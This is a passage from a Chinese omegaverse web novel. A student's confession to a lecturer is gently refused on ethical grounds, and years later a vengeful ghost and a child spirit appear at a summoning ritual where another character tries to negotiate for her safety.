每年,校运会组织者总要想方设法,找几个好说(欺)话(负)的,动员他们参加。 喻君辞更尴尬了,嘴唇动了动,似是想解释什么,挽回一下他的面子与身为教师的威严。 可他又不擅长说谎,挣扎几次后,放弃了。 颜千澄把一切看在眼里,本着“看破不说破”的原则,努力维持着一脸纯良。 只是嘴角忍不住有点抽动,赶紧绷紧。 或许是喻君辞太敏锐,或许是颜千澄在心底里,早把他当成很亲近的人,不愿在他面前装,演技失效,于是,喻君辞发现了。 他瞟她一眼:“你这小丫头,想笑就笑吧。” 既然忍笑被看出来了,颜千澄也就不忍了,把身为豪门继承人的稳重、风云人物万人迷的矜贵、以及Alpha的绅士风度通通扔掉,毫无形象地哈哈哈。 为了维护喻君辞的面子,颜千澄一边笑,一边解释:“喻老师……哈哈……我这……不是嘲笑……哈哈哈……是善意的笑……善意的……真的是善意的……哈哈哈哈哈……” 喻君辞无奈,摇头叹气。 他毕竟年轻,又是温润宽和的性子,为自己的面子与身为教师的威严叹息一声后,看颜千澄笑得开心,忍不住也跟着笑了。 两人说着,笑着,转入一条林荫道。 阳光透过繁茂的枝叶,细细碎碎洒落下来,为两人笼上几分温馨。不远处偶尔传来几声鸟雀啼鸣,婉转动听,更显静谧。 喻君辞若有所觉,停下脚步。 “千澄,我现在要回宿舍洗澡。”他说。 喻君辞说话的语调依旧柔和,但颜千澄听出“止步”的意味。 她愣了一下,想着是不是应该顺势说一句,“那我不打扰你了,再见”? 可…… 颜千澄左右看看,这才刚转入路口呢,离他的教师宿舍,还有整整一条路的距离。 这么早,就要分别了吗? 他……有必要这样……跟她保持距离吗? 颜千澄只是迟疑了片刻,喻君辞脸上浮起疑惑之色,下一个问题就来了。 “你有事找我?”他问。 颜千澄原本是想先跟他接触几次,积累好感,再把窗户纸挑破的。 但喻君辞谨守分际,完全不给任何学生在他的工作范围外,接触他的机会。 而且,他很聪明,明察秋毫。 见颜千澄一时没有回答,喻君辞神色逐渐复杂。 惊讶、猜疑、奇怪、迷惘…… 更多的,是不敢置信。 可既然已经不敢置信了,那他应该多多少少,猜到真相了。 既然话已经说到这里,颜千澄身为颜氏集团继承人,身为一个Alpha,并不缺乏勇气。 她握了握拳,给自己加加油,然后,直视喻君辞黝黑的眼睛,向心仪的他表白心意:“喻老师,其实我……” 却被他打断:“等等。” 第20章 颜千澄停下,喻君辞疑惑不定,两人一时都没说话。 颜千澄看着喻君辞。 他说,要她等等。 尽管她思绪纷乱,手足无措,仍尊重他的意愿,礼貌地、安静地等待着。 喻君辞看着颜千澄。 她很美,什么也不说,什么也没做,只是安安静静站着,就美得眩目。 喻君辞移开视线。 他突然觉得,自己之前那个猜想,太荒唐了。 他甚至要为自己曾有过那种猜想而羞愧了。 羞愧自己居然变得那么……网上是怎样形容的,普信? 是啊,自己这样普通,怎能那么自信,不,是自大? 身边这位,是颜千澄啊。 优秀出色得过分,光芒耀眼的颜千澄啊。 被很多很多人爱慕追逐着,被他的同事学生们时时赞扬吹捧着,只要待在这学校里,就算没有特意关注,她的名字,她的种种出众之处,也会自动进入他耳朵的颜千澄啊。 她怎么可能,会看上普普通通的自己? 两人静默着,直到气氛逐渐变得尴尬,喻君辞再次看向颜千澄,努力用轻松自然的语调,问:“千澄,你这样出色的Alpha,应该挺多Omega喜欢你的吧?” 如果他刚刚猜错了,那这话就是转移话题。 如果,有万分之一的可能,他没猜错…… 那这话,就是要将彼此的距离,拉到安全范围。 不,他觉得自己应该是猜错了。 颜千澄心里满是不祥的预感,她努力给自己加油鼓劲,注视着喻君辞的眼睛,认真回应他:“我不喜欢Omega,从来没有喜欢过,我喜欢的是Beta……” 她还想说,哦,不对不对,我喜欢的,不是Beta这个性别。 而是你,是你喻君辞这个人。 这告白,有点土气烂俗,却是颜千澄心底最真挚的想法。 却没能说出来。 喻君辞猛地后退一步,摇了摇头。 颜千澄的语调如此诚挚,眼神温柔如水。 聪敏如他,怎能不明白? 他不敢听下去。 顿了顿,喻君辞艰涩道:“你应该知道,你是我的学生,你跟我……不可以……” 老师不应该与学生发展亲密关系,这是一个禁区。 颜千澄赶紧声明:“我学的是经管,你教的是药理,不是一个院系的。我们之间,不是正式的师生关系。你不给我考核和评分,我们没有任何利益牵扯……” “那也不行,”喻君辞白皙的脸上泛起红晕,不敢再看她,语调却是不留余地的坚决,“或许,你跟我……并不违反规定,但是,你我是在同一个学校里,是在课堂上相识,你每周都来听我的课,将近一年……在我心里,你是我的学生,我想,你也有把我当你的老师。我们心理地位不平等,你会将我美化、拔高,把我想象得比实际更好,若是发展亲密关系,对你不公平,你值得更好的……” 那个禁区,喻君辞从来没想过要踏入半步。 偶尔思及人生大事,他从来没把坐在他讲台下的学生,纳入考虑范围内。 虽然,他也年轻,比他的学生们大不了多少。 但在职业伦理的框架下,他的学生,于他而言,就是小辈,是孩子。 是他教导和保护的对象,而不是…… 如果,万一…… 他跟自己的学生在一起了…… 喻君辞觉得,自己一定会时常被罪恶感折磨。 那学生的存在,会让他怀疑,自己是不是还有资格站在讲台上。 还有没有颜面,面对讲台下,跟她同龄同辈的其他学生。 被天之骄女万人迷突然示爱的震惊渐渐平复,喻君辞心态恢复坚定。 表情语气,已完全转为师长对学生的,带有距离感的温和。 他诚恳地注视颜千澄的眼睛,尽量不伤害她:“千澄,谢谢你,但不可以。你回去后,静下心来,好好想想吧。你是个聪慧的学生,会想明白的。” 颜千澄:“……” 她是明白了,明白喻君辞道德水准很高。 每个人的道德标准不同。 有的人的道德标准,就是法律法规。 有的人的道德标准,低于法律法规,什么都敢干。 也有那么一些人,道德标准,在法律法规及各种明文规定之上。 对他们来说,有些事,是不违反规定,是不会受到任何惩罚,但他们也不会去做。 因为过不了他们心里那一关。 颜千澄在千宠万爱中长大,人生头一次喜欢上一个人,头一次鼓起勇气表白心意,却被拒绝,心里是很憋屈的。 可她无法怨责对方什么。 因为,人之所以不同于丛林里被原始本能支配的动物,不同于只会执行指令的机器,大概就是人有信仰,有灵魂,有所为有所不为。 这本是人类的闪光点。 就算有人觉得这样很傻,会让眼前的好处利益白白溜走。 世上还是有人,愿意不计利害得失,始终坚守自己的原则。 喻君辞还以为,她在心里美化拔高了他。 其实,喻君辞本来就有那么好。 虽然,喻君辞的好,成了颜千澄此时的壁障,让她很无奈,但…… 颜千澄发现,自己很喜欢喻君辞这点。 喜欢这样认真实诚、一丝不苟对待事业与亲密关系的喻君辞。 颜千澄想,如果喻君辞轻易被她的样貌才能家世财富等等外在光环诱惑,抛弃自己的信仰…… 或许,她就不会喜欢他,喜欢到不能自拔的地步吧。 沉默良久,颜千澄再次鼓起勇气,问:“那,喻老师,等我毕业之后,你还会不会把我当学生?” 颜千澄尊重他的想法他的原则。 但,有生以来,第一个喜欢的人,颜千澄不想轻易放弃。 她愿意等。 喻君辞叹气:“千澄,你现在大一,快大二了,距离毕业还有三年多。你明白三年,能发生多少事吗?其实你可以多关注一下周围,有不少适合你的Omega……” 等颜千澄毕业,离开学校参加工作后,喻君辞的确不会再当她是自己的学生。 但喻君辞并不相信,颜千澄会等他三年。 原本,他就觉得,颜千澄会看上他,是一个意外,一次短暂的迷途。 他觉得,颜千澄这样优秀出色的Alpha,终究会回到属于她的轨道,跟一个同样优秀出色,能配得上她的Omega在一起。 而不是自己这样普普通通的Beta。 于是,面对颜千澄期盼的眼神,喻君辞硬着心肠,继续以长辈的姿态,刻意保持着彼此的距离,耐心劝导。 “又没有谁规定,Alpha一定要喜欢Omega,”颜千澄抗议,漆黑如墨的眼眸定定注视着喻君辞,想要一个答案,“三年后,你还会不会当我是你的学生?还会用这个理由拒绝我吗?” 喻君辞依然不相信颜千澄会等他,婉拒道:“三年后再说。” 他是见颜千澄好像钻了牛角尖,一时说不通,想着过段时间,她应该会自己放下了。 颜千澄点头。 对她来说,喻君辞没有把路完全堵死,已经是不错的回答了。 她不再追问,礼貌地与喻君辞道别—— 颜千澄觉得,喜欢一个人,就要尊重他,不能让他心里不舒服。 她不想他尴尬,不想他为难,不想让他有背德的感觉。 于是,从那之后,颜千澄不再去喻君辞的课堂听他讲课,不再混在他的学生堆里问他课业上的问题,不再跟他说任何有暧昧意味的话。 两人偶尔在校园里遇见。 颜千澄会向喻君辞问好,跟他简单聊聊彼此的近况。 整个过程中,颜千澄一直保持着礼貌的社交距离,没让敏锐的他,感觉到丝毫冒犯。 有时候,两人视线相接。 喻君辞逐渐感受到了,颜千澄真挚炽热的情感。 以及,她的克制。 她的爱,很尊重,很耐心,很负责,很温柔。 喻君辞原本平静的心湖,渐渐泛起涟漪。 偶尔,他会忍不住,想一想三年后…… 只是,喻君辞从不敢深想,更不会跟颜千澄说。 因为,还不到三年,他们还在同一个学校。 他是教师,她是学生。 颜千澄也不曾察觉。 因为深陷爱恋里的人,总是不够自信的,优秀出色如颜千澄,也不例外。 颜千澄只觉得,三年好漫长,自己等得好苦。 等着等着,颜千澄有时候会思考,为何自己会喜欢上喻君辞。 为何这么多年,她没喜欢过谁,偏偏就栽在喻君辞身上。 颜千澄有个做心理医生的朋友,听完她的困惑,苦苦思索良久,突然眼睛一亮,一拍大腿:“我知道了!喻君辞,他是你理想中的父亲!” 颜千澄一怔,皱起眉头。 “父亲”这个词,真是……令她一听就心生不快。 心理医生朋友帮她分析:“你小时候,是不是希望你父亲只是一个普普通通的人,不是颜氏集团的太子爷,不是被寄予厚望,他自己又达不成这期望,结果自暴自弃的失败者……” 心理医生朋友的导师,曾研究过颜氏太子爷的成长路,心理医生朋友看过导师的笔记,一不小心,就把那直白的评语说出来了。 意识到再说下去,会伤害到颜千澄,她赶紧刹住话头,清清嗓子:“咳,你理想中的父亲,是不是一个挺平凡的人?他有一份普通的、体面的工作,他工作认真、努力、负责任,他也有足够的能力做好他的工作,就像喻君辞。” 颜千澄想了想,点头。 心理医生朋友像受到鼓舞,声音都高起来了:“喻君辞是不是对你很好?” 颜千澄又想了想,没点头也没摇头:“好是好,但算不上‘很好’,他对所有学生,都是一样的态度,一视同仁,公平得很,没有对我特别好。” 心理医生朋友心生同情,小心翼翼地问:“你理想中的父亲,是不是,不需要对你特别好,只要对你一般的好,偶尔陪陪你,你就满足了?” 颜千澄顿了顿,点头。 心理医生朋友拍拍颜千澄肩膀,无声地安慰她,继续确认:“喻君辞对你的好,不是Omega和Beta对心仪Alpha那种仰慕、讨好、追逐,而是长辈对小辈的关心、守护、指引,是吗?” 颜千澄回忆喻君辞的种种表现,叹气:“好吧,他对我和其他学生的好,的确是长辈对小辈那种好。” 心理医生朋友再接再厉:“最重要的是,喻君辞跟你那个……” 她原本要说“跟你那个人渣父亲相反”。 赶紧又刹住话头,“咳”了一声,接着说:“喻君辞人品端正,道德水准特别高!这是你看上他最重要的原因!” 颜千澄疑惑:“我是在喻君辞拒绝我的时候,才知道他道德水准那么高的。爱上他的时候,我并不知道啊。” 心理医生朋友猜测:“可能是你的潜意识,透过现象看本质,在和喻君辞平淡普通的见面相处中,自动感应他,分析他,先于你的意识发现,喻君辞就是一个道德水准很高的,符合你择偶条件的人?你的择偶条件里,对象的道德水准,是不是排在第一位的?” 颜千澄沉默。 她突然发现,原来自己,在亲密关系里,真的会特别在意对象的品格。 她身边有朋友爱上同性,有朋友爱上穷光蛋,有大小姐朋友爱上保镖…… 她都可以理解。 唯独那些爱上人渣,明知道对方是个烂人,还不肯放弃的人,她完全无*法理解。 颜千澄知道人无完人,她可以容忍小问题小瑕疵。 可一旦发现,爱恋对象的人品,有原则性的重大问题,比如沉迷赌博、滥-交、残暴、网暴他人、爱说谎…… 她就算之前再喜欢他,对他感情再深,也会立刻冷却。 心理医生朋友给出专业结论:“你这个,其实属于恋父情结的一种……” 颜千澄皱眉:“听起来好刺耳,‘恋’和‘父’两个字连在一起……我想吐。一是我亲生父亲他不配,二是有种乱.伦的感觉,我感觉亵渎了喻君辞。” 心理医生朋友叹气:“这个‘父’,不是你生物学上的父亲,是你理想中的父亲,一个跟你没有实际亲缘关系的,你自己想象出来的虚幻形象,谈不上什么乱.伦。这其实没什么奇怪的,现行婚姻家庭制度下,孩子大多由父母抚养。人在幼年时,内心通常会建立一个母亲的形象,一个父亲的形象。长大后找到的配偶,大多跟内心的形象相似,不是像母亲就是像父亲,所以我觉得,学生喜欢老师,小辈喜欢长辈,不是什么心理问题,很多人择偶都是这样……” 不同的是。 有的人的原生家庭,可以治愈一生的伤痛。 有的人,却要用一生,来治愈原生家庭留下的伤痛。 有的人,恋爱结婚,是延续美好。 有的人,恋爱结婚,是找个人继续折磨自己。 颜千澄的情况,是自小有祖母悉心爱护,心底对母亲的渴求满足了,但对父亲的渴求未被满足。 幼年期,她对自己生身父亲彻底绝望,内心建立一个跟他完全相反的理想父亲形象。 长大后,无意识地按那理想形象择偶。 看起来是好事,总比那些自小受人渣折磨,长大后还无意识地亲近另一个人渣,再被折磨的人好得多。 颜千澄也没看错人,喻君辞不仅符合她的理想,本身也是个挺好的人,人品好,聪明敏锐,温柔真诚,他有可能治愈她内心深处的旧伤,带她走出童年阴影。 颜千澄沉默良久,又有疑惑:“可是,我身边符合……” 她动了几次嘴唇,还是无法将“理想父亲形象”这话说出口,尴尬地停了好一会儿:“……我身边……嗯……看上去普普通通,工作认真负责,对我是长辈式的好,道德水准很高的人,也不少啊。为什么,我没看上别人,唯独喜欢喻君辞呢?” 比如警察局林局长,就是这样的。 可颜千澄对他,一直是小辈对长辈的敬爱,没掺杂别的感情。 心理医生朋友陪颜千澄反复思索,一个个对比,最后放弃了:“其实吧,古人早就给过我们答案了,这就是所谓的缘啊。世上有那么多符合我择偶条件的人,可我偏偏就是喜欢你。” 她再次拍拍颜千澄的肩膀,这回是羡慕嫉妒恨:“你不用想那么多,想得太清楚,就没意思了。放开心怀,好好享受恋爱的甜美吧。” 颜千澄惆怅:“我还得等他三年呢。” 女Alpha心理医生朋友还单着呢,不知道要单多少个三年,完全不同情颜千澄:“三年也不是很久,等就等吧。你这家伙这样优秀,到时候喻君辞肯定不会再拒绝你。你们往后,有漫长的一生,可以大撒狗粮呢。” 当时,颜千澄也以为,三年的等待,就是她跟喻君辞这段感情最大的考验。 以为,三年后,就能跟喻君辞在一起,从此朝朝暮暮相依相伴,到老白头。 颜千澄等啊等。 努力克制自己,苦苦等待。 终于,三年过去,她毕业了。 20-30 第21章 毕业后,无论是正式还是不正式的师生关系,都解除了。 可是,未等颜千澄正式向喻君辞表明心意,就收到父母逝世的消息。 之后,在外人看来,颜千澄是临危不乱,力挽狂澜,有条不紊地处理好颜家家事与颜氏集团内外事务,初出茅庐就崭露头角,没有辜负她祖母颜龄多年的教导。 只有颜千澄自己知道,那段时间,她真的好累。 根本就没有时间与心思,去想她的爱情。 再之后,身心俱疲中,不小心中了药,完全标记了关景墨。 颜千澄一纸诉状,将关家送上法庭。 期间,想了喻君辞很多遍。 人人都说,她是受害者,没有过错。 可是…… 原生家庭不幸,颜千澄从很小的时候起,就对爱情有极高的期待,有点理想主义和完美主义。 她觉得,她跟喻君辞的爱情,原本可以很完美,像童话般纯洁梦幻。 她觉得,她亲手毁了这份完美纯净。 她觉得,这份爱情,有了瑕疵。 一时不知道,该怎么面对他。 再之后。 相依为命多年,最敬爱的祖母,在病榻中,要颜千澄娶关景墨,说这是她的遗愿。 颜千澄心里的天平,一端是跟祖母多年相依为命的亲情。 另一端,是跟喻君辞尚未开始的爱情。 天平极其痛苦地颤抖着。 最终,慢慢,慢慢地,倾向了祖母那一侧。 她放弃了喻君辞。 对不起他。 红着眼圈,离开祖母的病房,颜千澄恍惚了两天,忍不住,来到喻君辞宿舍楼下。 没有上楼敲门,也没想过要打电话给他,颜千澄只想独自静静站着,仰头看他宿舍里昏黄的灯光。 站了不知道多久,天上突然下雨,淅淅沥沥的雨水打在颜千澄脸上身上。 颜千澄仍是一动不动。 心如死灰,感觉不到冷。 雨越下越大,朦胧了周围一切。 仰着头,水珠顺着脸颊掉落下来。 颜千澄觉得,这场雨来得挺好。 因为,Alpha不能哭。 她脸上的,肯定都是雨水,没有软弱无能的泪水。 雨下了不知道多久。 突然,一把宽大的伞,遮住了她,为她挡掉肆虐的风雨。 颜千澄视线一转,愣了。 是喻君辞。 她沉浸在自己的思绪中,都没发现,心心念念的人,已经看见了她,下楼来到她身边。 喻君辞一手撑着伞,一手递给她一条手帕,轻责:“雨这么大,怎么不避避?小心感冒。” 颜千澄木木地接过喻君辞的手帕,擦头上脖子上的雨水。 不敢擦脸,让脸湿着。 喻君辞初时不解,想提醒她。 突然看见她泛红的眼圈。 他顿了顿,移开视线,捏着伞柄的指尖,因用力太过而现出不自然的白。 颜千澄看着喻君辞。 乌黑的眼眸里,无限眷恋,沉沉伤感。 往日红润柔美,此刻却失了血色的苍白嘴唇几次开合,却发不出任何声音,最后,紧紧抿起。 她能说什么呢? 像别人安慰她那样,跟喻君辞说,那件事非她所愿,她是受害者? 可是,无论如何,事情发生了,就是发生了。 她内心深处,也觉得,是自己不够谨慎,自制力不够,才会着了别人的道。 跟喻君辞说,她原本,真的真的是想等他三年,然后认认真真追求他的? 可是,三年,她是等了,但没有真正追求喻君辞,甚至没来得及正式向他表白,跟他说一句完整的“我喜欢你”。 跟喻君辞说,她心里从来没有别人,只有他一个? 可是,事实是,她即将跟别人结婚了。 颜千澄低下头,看见自己双手正不自觉地攥紧,赶紧藏入大衣衣袋里。 碰到一团纸质的东西。 是两张电影票。 颜家出事后,颜千澄日日夜夜努力,在关氏集团年度庆典前夕,终于将大局稳定下来。 终于有时间精力,好好经营她的爱情了。 颜千澄没追求过人,没有经验。 担心自己表现得不好,担心喻君辞不接受自己,颜千澄认真学习了很多经验帖子,上匿名论坛提了好多问题,考虑了很久很久,最后决定,请喻君辞看电影。 这办法很老土。 但颜千澄当时想着,能成为老土的东西,说明有很多人这样做,那就一定有它的道理。 颜千澄很重视跟喻君辞的关系,拿出了最最慎重的态度,不愿出一丁点差错,才最终选择这个很老土,但最稳妥的追求方式。 现在,颜千澄回想起来…… 不愿出一丁点差错…… 呵呵。 电影票原先是放在包包里的。 今天,她收拾东西,把电影票拿出来,原本是想和别的重要纪念品一起,收进保险箱里锁好的。 恍恍惚惚的,把电影票放大衣衣袋里,忘了。 颜千澄把电影票拿出来。 幸好,两张电影票都没湿。 如果要追求喻君辞,跟他约会,应该给他一张电影票,自己留一张。 颜千澄这时,却是把两张电影票,一起递给喻君辞。 这是,让喻君辞邀请他自己的朋友去看电影的意思。 对不起,食言了。 对不起,干扰过你的生活。 对不起,不能跟你在一起,不能给你幸福。 现在,我退出你的世界,放你自由。 请你一定要幸福。 就算你的幸福里,没有我。 我也想为你虔诚祈祷,祝愿你能过得比我好,比我幸福。 因为,我是真的,真的,好喜欢你,好爱你。 鼻子酸涩难当,千言万语在喉头哽着。 颜千澄深呼吸几下,颤着唇,尽了最大的努力,最终只勉强说出简短暗哑的几个字:“送给你。” 没关系的,喻君辞很聪明,他会懂。 喻君辞果然懂。 他嘴边泛起几丝苦笑,说声“谢谢”,收下她的两张电影票。 然后,他迟疑了一会儿,从衣袋里拿了件东西,递给颜千澄:“这个,算是回礼吧。” 颜千澄定睛一看。 是一个手编的平安结。 “你亲手编的?”颜千澄惊讶。 喻君辞尴尬:“嗯……编得不太好……” “不,很漂亮,谢谢你。”颜千澄珍而重之,将平安结收好。 飘零伤痛的心,有了点小小的安慰。 “这段时间,你周围,有没有发生什么特别的事?”喻君辞问,眼角眉梢,满满的担忧。 颜千澄迷惑。 这段时间,是指毕业后到现在吗? 特别的事? 父母双亡、祖母病倒、被下药……太多了。 她不知道怎么答,有些事,也不想跟喻君辞说。 在颜千澄心里,喻君辞干净、美好。 她不愿让他看到自己不堪的一面。 喻君辞没勉强,沉默片刻,低声说:“千澄,你……凡事多加小心,希望你平平安安。” 颜千澄点头。 阵阵热意涌上眼眶,快克制不住了,喻君辞宽大的雨伞把她遮得严严实实,没有雨水帮她掩饰。 已经很好了,见到喻君辞,彼此送了临别赠礼,她祝愿他幸福,他盼望她平安。 人生初次的爱恋,这样结束,真的很好了。 颜千澄哽咽着说了声“再见”,转身冲入滂沱大雨中。 之后,就没再见过喻君辞。 直到今天。 坐在片场角落,看着导演迎了一个人过来。 耳边响着桑椹的吱吱喳喳,但颜千澄已无心去听。 她不想让喻君辞为难,不想让彼此尴尬。 于是,颜千澄想装淡定,装云淡风轻,装作一切已成过往。 装作自己已足够成熟,已能跟喻君辞做不会打扰到他的普通朋友。 理智告诉颜千澄,应该先装作在忙其它事。 等喻君辞走近,再抬头看他,淡淡微笑,打声招呼,跟他说句“好久不见,近来可好?” 声线要平稳自然,要像跟普通朋友闲聊一样。 但压抑已久,突然如洪水般疯狂潮涌的情感,将理智与引以为傲的演技通通冲走。 距离尚远,颜千澄已忍不住望向他,无法移开视线半寸。 远处,喻君辞也望过来。 在人潮中,跟她的视线对上。 颜千澄眼睛瞬间湿润。 一眼万年。 以前听过这个词,觉得夸张。 万年太长,怎能装进短短一个对视里? 现在知道,彼时不懂,是因为尚年少,未曾真正见识人世沧桑,缱绻情长。 他看上去,还是有点土土的。 气质风度倒是更成熟淡然了。 记得初见时,他偶尔还有几分青涩局促的,现在几乎消失殆尽。 毕竟,几年过去,他现在评了副教授,成了专家,也算成功人士了。 头发依旧有认真梳理过,今天,头顶那撮呆毛没有翘起来。 喻君辞向她微微一笑。 颜千澄心里百般滋味。 可看到他的微笑,颜千澄自然而然地,跟着他,微微一笑。 感谢上苍,他,看起来,过得挺好的。 那就好。 喻君辞转头,跟导演说了几句话,然后径直走向颜千澄。 桑椹一脸震惊:“千澄姐姐,这人……你认识啊?” 颜千澄点头,仍是目不转睛的注视着喻君辞。 桑椹依然极乖觉,视线在喻君辞身上转几圈,又在颜千澄脸上转几圈,犹豫片刻就站起身,找个借口离开了。 喻君辞来到颜千澄面前:“千澄。” 颜千澄努力稳住汹涌的情绪,努力表现得镇定从容:“好久不见……” 声线有点不稳,颜千澄想先缓一缓,再问他“近来可好”。 却被喻君辞抢先:“听说,前几天,这片场里,有个演员情绪失控……你还好吗?” 他说的是男Alpha演员掉包道具组的匕首,想杀桑椹的事。 颜千澄想,大概喻君辞是担心,她制服男Alpha演员时受了什么伤吧。 “我没事。”颜千澄站起身,转一圈,示意自己很健康。 喻君辞仔细打量颜千澄,眼里还有深深沉沉的,挥之不去的担忧:“你身边,还有没有发生什么特别的事?” 颜千澄心里,又是欢喜,又是伤感。 喜欢的人,关心自己,怎能不欢喜。 有缘相识,无缘相守,怎能不伤感。 把百般滋味压下,颜千澄微微一笑:“没有,不用担心,我……” 她提拉脖子上的项链,将挂坠露出来:“我有你给的平安结呢。” 喻君辞愣住。 他原以为,颜千澄喜欢他,只是一时兴起,一个转瞬即逝的错觉。 后来,一年又一年,颜千澄足足等了他三年。 他原以为,颜千澄对他,感情并不深。 后来,他发现了她在大雨里落下的泪水。 他原以为,颜千澄跟合适的Omega成婚后,会放下年少时不合适的爱恋。 现在,他看见颜千澄将他送的平安结做成项链挂坠,贴身戴着。 那时候,关景墨告诉他,颜千澄被怨灵锁定。 喻君辞想了很久,想不到应对怨灵的办法。 他想过,要去庙里,为颜千澄求个平安符。 第二天一大早,喻君辞去了市里名声最盛的庙。 看见很多人穿着修行人的服饰,向行人兜售各种物品,把功效吹到天上去。 比起修行人,他们更像为几块钱折腰的商人。 庙里,很多塑像。 喻君辞是有神论者,相信冥冥中自有主宰。 但他不认为,人类自己弄出来的泥胎木偶,能用来代表神。 尤其那些做得不好的,难道不是亵渎吗。想想要是有人做了个很丑的人像,跟所有人说那是你,你怎么想。 喻君辞走了一圈,感觉这地方,不像修行场所,更像盈利的旅游区。 旅游区的商品,能买吗?有用吗? 叹息着回到宿舍,突然想起年幼时,曾听妈妈说过,人是万物之灵,人的意念,是有力量的。 灵魂越是虔诚,意念越是澄净纯粹,力量就越强大。 若能不计得失,不带一丝一毫私心私欲,诚心诚意祝福一个人,这祝福,就会化为强大的念力,保护他想保护的人。 喻君辞就静下心来,学着当年妈妈为他编平安结的样子,一边编,一边祝福颜千澄。 祝愿她平安。 就算跟她无缘相守,也没关系。 只要她平平安安,好好活着,就好。 这平安结,喻君辞是花了不少心血,赋予了最真挚的祝福。 但归根到底,它只是一个很简陋的小饰品。 喻君辞以为,颜千澄会随手把它放在角落。 全没想过,它会被她珍而重之地,放在最贴近心脏的地方。 千澄…… 它,跟美丽华贵的你,完全不搭啊…… 片场阴暗处。 “千澄姐姐灵魂波动好强烈,这人是她相好的吗?”贝贝好奇。 谢凡无语。 知道贝贝不是真的小孩子,是“活”了挺久的鬼,但它用这样幼稚的模样,说着大人的轻浮话,感觉好违和。 “哇,那平安结里,有份好纯净的守护意念,不输专业法器了。原来真的有人,能不计得失毫无私心的真心盼望别人好,什么人啊这是?咦,这两人清清白白,不是相好的,可他们都爱成这样了,怎么没上?好奇怪。”贝贝疑惑。 谢凡冷笑:“当初颜千澄要是心愿得偿,跟喻君辞有情人终成眷属,我早杀掉她了,哪能容她活到现在。” 他父母惨死,自己一生不幸,怎能看着仇人的女儿跟所爱之人幸福生活,人生跟开了挂似的,处处完满? 贝贝闻言,一脸惆怅。 “你又怎么了?”谢凡问。 贝贝长叹一声:“我在想,是要爽,还是要活。” 谢凡皱眉:“你说话能不能含蓄点?” “哦,”贝贝听话,“我在思考,爱情与生命,孰轻孰重。” 谢凡无奈,突然感觉到一阵异样的波动。 他转头,望向市中心方向,眸光阴冷。 “发生什么事了?”贝贝问。 “那个不要命的,搞了个召唤仪式,”谢凡不屑,“想引我去杀他呢。” 第22章 贝贝奇怪:“召唤怨灵的仪式?怎么你还站在这里,没被他召去?” 谢凡冷笑:“他们的仪式不完整,缺了附有我气息的物品,就没有明确的指向,那个阵变成无差别吸引鬼物的阵,就看哪个孤魂野鬼闲着,陪他玩玩了。” “哦。”贝贝不感兴趣。 颜千澄抓住贝贝的前主人,让他身败名裂。 她对小鬼的看法,也深得它心。 所以,贝贝会关心颜千澄。 至于关景墨,不熟,管他去死。 “那疯批三番四次挑衅你,这次如果有脾气不好的鬼刚好路过,顺手灭了他,也省得你出手了。”贝贝说。 谢凡沉默。 过了好一会儿,它突然迈步,向市中心飘去。 贝贝惊讶:“你干嘛?” 谢凡语调冰冷:“关景墨是我仇人的女婿,我去看他怎么死。” 关景墨在等。 心里在反复盘算,一次又一次分析怨灵的一切行为,推导它的思维模式。 怨灵观察了千澄的父母一个月时间,才弄死他们。 千澄父母死亡时,附近有很多人,但没有一个人被误伤。 这怨灵……可能不喜欢滥杀无辜? 怨灵锁定千澄几个月了,一直没动手。 是要积蓄力量? 是在等待时机? 还是……它在犹豫? …… 跟怨灵沟通的机会,可能只有一次,关景墨想谨慎再谨慎。 很害怕。 不是怕死。 如果他的死亡,能令怨灵心满意足,不再害千澄了,那他甘之如饴。 他怕的,是死得毫无价值,是怨灵怎么也不肯放过千澄。 沉默中,一直专注阵法的姚甜甜突然说:“我觉得,情况不太对……” “怎么?”关景墨问。 姚甜甜眉头紧皱:“我不太懂阵法,但召唤类的阵法,能量流动时,应该有个特定的方向,这阵法的能量流动,却一直是无序发散的……” 关景墨不太明白姚甜甜的话,只知道,这阵法可能有问题。 还是那句话,死可以,但不能毫无意义地死。 他正要叫姚甜甜先停下。 突然,一阵透骨的寒意袭来,关景墨打了个寒颤,头皮发麻。 紧接着,关景墨看见,一个熟悉的人形阴影,从他身边飘过,落在供桌旁的太师椅上,缓缓坐下。 以往,在关景墨眼中,怨灵身形朦胧,面目模糊。 现在,也许是受阵法影响,坐在太师椅上的怨灵,慢慢显露出它的真实容貌。 身材高挑,五官深刻,双目幽深,鼻梁高挺。 他生前,应该是一名Alpha美男子。 关景墨跟怨灵四目相对,气氛凝重。 一边的姚甜甜死死捂住嘴,不敢发出惊呼。 静默片刻,关景墨正要开口,突然,又一阵透骨的寒意掠过。 只见一团小小的阴影扑到供桌前,欢呼:“哇,有机大米!没有农残没有重金属没有打蜡的!哇哇,没有转基因没有农残没有防腐剂没有保鲜剂的水果!谢凡!我能吃吗?” 在阵法中,它也逐渐显露出清晰的模样,一个梳着朝天辫的孩童,双眼圆溜溜的,紧紧盯着食物。 谢凡无语片刻,叹气:“……吃吧……你怎么也来了……” “陪你看热闹,”贝贝吞着口水,警惕地盯着关景墨和姚甜甜,“我真能吃吗?吃了,他们会不会变成我的新主人?” 谢凡摇头:“不会,想做你的主人,需要特定的仪式。那是用来帮颜千澄的东西,你可以吃。专心吃,别乱说话。” 它真是怕了贝贝那张嘴。 贝贝这么一搅和,沉凝的气氛变得有点奇怪。 关景墨看向姚甜甜。 姚甜甜一脸不忍,遮住一边嘴,向关景墨比了个口型:“那是小鬼。” 关景墨看看扑到装大米的瓷碗上,深深吸着大米香气的孩子。 再看向谢凡。 它允许小鬼吃用来帮千澄的东西。 它自己却一口没吃。 它……还是坚持要杀千澄吗? 关景墨把“怨灵生前是个男Alpha”、“怨灵名叫谢凡”、“怨灵有个小鬼朋友”、“怨灵的小鬼朋友爱吃有机的干净的食物”和“怨灵的小鬼朋友好像愿意帮千澄”这五条新的信息记在心头。 然后,关景墨深呼吸两下,小心翼翼地开始跟怨灵的谈判:“请问……有没有什么事,可以让我代劳?比如,如果您有心愿尚未达成,我很愿意为您效劳……” 关景墨深知,谈判最好的结果,是双赢。 展现自己的价值,付出他能付出的价码,让怨灵得到好处。 希望怨灵能高抬贵手,放过千澄。 谢凡冷笑:“我最大的心愿,是复仇。怎么?你能帮我杀掉颜千澄?” “……除了这个,真的没有别的心愿了?”怕刺激到怨灵,关景墨说话时,语调柔缓,态度恳切。 谢凡冷漠摇头。 双赢的路走不通了。 关景墨继续缓声说:“千澄……她很讨厌她的父母,她自小跟祖母一起生活,几乎没跟父母说过话……” 怨灵恨的是颜千澄的父母。 